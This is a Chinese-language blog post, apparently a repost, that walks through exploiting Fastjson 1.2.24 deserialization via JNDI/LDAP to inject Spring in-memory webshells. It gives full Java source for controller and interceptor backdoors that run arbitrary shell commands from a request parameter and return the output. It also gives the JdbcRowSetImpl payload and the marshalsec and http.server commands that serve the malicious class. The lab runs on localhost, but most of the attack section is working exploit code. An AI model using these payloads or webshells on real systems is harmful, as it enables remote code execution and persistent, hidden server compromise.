狂野!利用Fastjson注入Spring内存马~

共 11186字,需浏览 23分钟

 ·

2021-11-19 11:43

程序员的成长之路
互联网/程序员/技术/资料共享 
关注


阅读本文大概需要 8.5 分钟。

来自:网络。如侵,请联系删除

此篇文章在于记录自己对spring内存马的实验研究。


环境搭建


搭建漏洞环境,利用fastjson反序列化,通过JNDI下载恶意的class文件,触发恶意类的构造函数中代码,注入controller内存马。


1)组件版本:


fastjson: 1.2.24
spring-mvc: 4.3.28.RELEASE
JDK: 8u121


2)搭建springMVC+fastjson漏洞环境


可以参考网上的入门文章进行搭建,这里我放出我自己环境的配置文件


web.xml

SpringMVC org.springframework.web.servlet.DispatcherServlet contextConfigLocation classpath:springmvc.xml SpringMVC /

springmvc.xml





HelloController
@Controllerpublic class HelloController { @ResponseBody @RequestMapping(value = "/hello", method = RequestMethod.POST) public Object hello(@RequestParam("code")String code) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System.out.println(code); Object object = JSON.parse(code); return code + "->JSON.parseObject()->" + object; }}

pom.xml

com.alibaba fastjson 1.2.24
junit junit 4.11 test org.springframework spring-webmvc 4.3.28.RELEASE

动态注册controller


在springMVC中,也可以在服务器程序启动后,利用某种方式实现动态加载controller。


1)获取上下文


在LandGrey文章中介绍了四种方法,分别是


方式一:getCurrentWebApplicationContext

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

方法二:WebApplicationContextUtils

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

方法三:RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

方法四:getAttribute

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

而对于获取上下文来说,推荐使用第三、四种方法。前两种可能会获取不到RequestMappingHandlerMapping实例


2)注册controller


使用registerMapping方法来动态注册我们的恶意controller

// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中唯一的 Method 对象Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);


除了使用registerMapping方法注册controller外,还有其余的方式可以参考
https://landgrey.me/blog/12/

内存马


以下是大佬的内存马,接下来进行一个改动,使之能进行回显

import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Iterator;import java.util.List;import java.util.Map;
public class InjectToController { // 第一个构造函数 public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的 Method 对象 Method method2 = InjectToController.class.getMethod("test"); // 3. 定义访问 controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/malicious"); // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 5. 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环 InjectToController injectToController = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, injectToController, method2); } // 第二个构造函数 public InjectToController(String aaa) {} // controller指定的处理方法 public void test() throws IOException{ // 获取request和response对象 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); // 获取cmd参数并执行命令 java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")); }}

修改回显


把test代码中的内容替换为以下

// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exectry { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ //当请求没有携带指定的参数(code)时,返回 404 错误 response.sendError(404); }}catch (Exception e){}

最终内存马


import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;
public class InjectToController { // 第一个构造函数 public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 2. 通过反射获得自定义 controller 中test的 Method 对象 Method method2 = InjectToController.class.getMethod("test"); // 3. 定义访问 controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/malicious"); // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 5. 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环 InjectToController injectToController = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, injectToController, method2); } // 第二个构造函数 public InjectToController(String aaa) {} // controller指定的处理方法 public void test() throws IOException{ // 获取request和response对象 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec try { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ //当请求没有携带指定的参数(code)时,返回 404 错误 response.sendError(404); } }catch (Exception e){} }}

测试


fastjson<=1.2.24的 payload:
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}

1)启动本地http服务,绑定端口8888

python3 -m http.server 8888


2)利用marshalsec启动LDAP服务,绑定端口9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999


3)访问存在fastjson反序列化的页面,http://localhost:8080/hello

发送payload:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}


成功写入内存马



踩坑


在实验过程中,我发现主要有两个比较难解决的点,导致实验难以继续


1.怎么编译恶意class文件


可以看到,一个恶意类是有大量的依赖,如果直接采用javac编译会报错

-》javac InjectToController.javaInjectToController.java:16: 错误: 编码GBK的不可映射字符 // 绗竴涓瀯閫犲嚱鏁? ^InjectToController.java:19: 错误: 编码GBK的不可映射字符 // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean ^InjectToController.java:19: 错误: 编码GBK的不可映射字符 // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean ^

这时候可以利用idea自带的编译特性,先运行项目,然后在其项目的target目录中寻找编译后的class文件即可


2.可以弹出计算器,却无法注入内存马


直接进行debug后发现,在这一行代码会因为找不到RequestMappingHandlerMapping 的实例 bean而抛出异常




原因在于springmvc.xml文件中,没有开启选项。


 是为 MVC 提供额外的支持,参考 Spring 的官方文档, 最主要的作用是注册 HandlerMapping(实现为 DefaultAnnotationHandlerMapping) 和 HandlerAdapter(实现为 AnnotationMethodHandlerAdapter) 两个类型的 Bean,这两个 Bean 为 @Controllers(所有控制器) 提供转发请求的功能。


而在Spring 3.1 开始及以后一般开始使用了新的RequestMappingHandlerMapping映射器。


后记


Interceptor内存马


其实不光是可以注入controller型的内存马,还可以注入Interceptor内存马

import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class TestInterceptor extends HandlerInterceptorAdapter { public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException { // 获取context WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 从context中获取AbstractHandlerMapping的实例对象 org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); // 反射获取adaptedInterceptors属性 java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping); // 避免重复添加 for (int i = adaptedInterceptors.size() - 1; i > 0; i--) { if (adaptedInterceptors.get(i) instanceof TestInterceptor) { System.out.println("已经添加过TestInterceptor实例了"); return; } } TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环 adaptedInterceptors.add(aaa); // 添加全局interceptor }
private TestInterceptor(String aaa){}
@Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code"); // 不干扰正常业务逻辑 if (code != null) { java.lang.Runtime.getRuntime().exec(code); return true; } else { return true; }}}

注册效果:


参考


https://landgrey.me/blog/12/
https://www.cnblogs.com/bitterz/p/14820898.html
https://www.cnblogs.com/bitterz/p/14859766.html

推荐阅读:

在部队当程序员是什么体验?

面试官:你知道消息队列如何保证数据不丢失吗?

最近面试BAT,整理一份面试资料《Java面试BATJ通关手册》,覆盖了Java核心技术、JVM、Java并发、SSM、微服务、数据库、数据结构等等。

获取方式:点个「在看」,点击上方小卡片,进入公众号后回复「面试题」领取,更多内容陆续奉上。

朕已阅 

浏览 30
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报